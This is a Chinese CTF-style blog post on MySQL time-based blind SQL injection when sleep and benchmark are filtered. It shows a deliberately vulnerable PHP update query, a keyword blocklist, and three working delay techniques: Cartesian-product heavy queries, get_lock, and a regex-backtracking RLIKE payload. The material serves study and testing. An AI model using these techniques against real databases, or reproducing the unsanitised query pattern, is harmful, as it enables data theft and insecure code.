mysql延迟注入出现场景_mysql 延时注入新思路

在4月的pwnhub比赛中,我们遇到了一个比较神奇的问题,如果在注入中遇到需要延时注入的情况,但服务端过滤了我们一般使用的sleep和benchmark函数,这时候我们有没有办法使用别的方式来替代这两个函数造成延时呢?

这里可以代码看看

require 'conn.php';

$id = $_GET['id'];

if(preg_match("/(sleep|benchmark|outfile|dumpfile|load_file|join)/i", $_GET['id']))

{

die("you bad bad!");

}

$sql = "select * from article where id='".intval($id)."'";

$res = mysql_query($sql);

if(!$res){

die("404 not found!");

}

$row = mysql_fetch_array($res, MYSQL_ASSOC);

mysql_query("update view set view_times=view_times+1 where id = '".$id." '");

?>

很明显$id没有任何过滤就拼接入了update语句,一般来说我们可以用延时盲注来获取数据。

一般我们会用sleep(5)或者是benchmark来多次执行md5操作来换取比较长的执行时间来替代延时。

那么是不是有别的方式替代呢?

笛卡儿积

这种方法又叫做heavy query,可以通过选定一个大表来做笛卡儿积,但这种方式执行时间会几何倍数的提升,在站比较大的情况下会造成几何倍数的效果,实际利用起来非常不好用。

mysql> SELECT count(*) FROM information_schema.columns A, information_schema.columns B;

+-----------+

| count(*) |

+-----------+

| 267126336 |

+-----------+

1 row in set (9.87 sec)

在一个列数比较少的站内,可能需要3个表做笛卡尔积,延时已经是分钟级别的了

get_lock

这是一种比较神奇的利用技巧,延时是精确可控的,但问题在于并不是所有站都能实现。

get_lock的官方解释如下

GET_LOCK(str,timeout)

Tries

to obtain a lock with a name given by the string str, using a timeout of

timeout seconds. A negative timeout value means infinite timeout. The lock is

exclusive. While held by one session, other sessions cannot obtain a lock of

the same name.

当我们锁定一个变量之后,另一个session再次包含这个变量就会产生延迟。

mysql> select get_lock('ddog',1);

+---------------------+

| get_lock('ddog',1) |

+---------------------+

| 1 |

+---------------------+

1 row in set (0.00 sec)

换新的session

mysql> select get_lock('ddog',5);

+---------------------+

| get_lock('ddog',5) |

+---------------------+

| 0 |

+---------------------+

1 row in set (5.00 sec)

值得注意的是,利用场景是有条件限制的:需要提供长连接。在Apache+PHP搭建的环境中需要使用 mysql_pconnect函数来连接数据库。

正则bug

这是一个老生常谈的问题了,但之前可能很少会把它放到注入里讨论。

正则匹配在匹配较长字符串但自由度比较高的字符串时,会造成比较大的计算量,我们通过rpad或repeat构造长字符串,加以计算量大的pattern,通过控制字符串长度我们可以控制延时。

mysql> select rpad('a',4999999,'a') RLIKE concat(repeat('(a.*)+',30),'b');

+-------------------------------------------------------------+

| rpad('a',4999999,'a') RLIKE concat(repeat('(a.*)+',30),'b') |

+-------------------------------------------------------------+

| 0 |

+-------------------------------------------------------------+

1 row in set (5.22 sec)

ref

  • 0
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值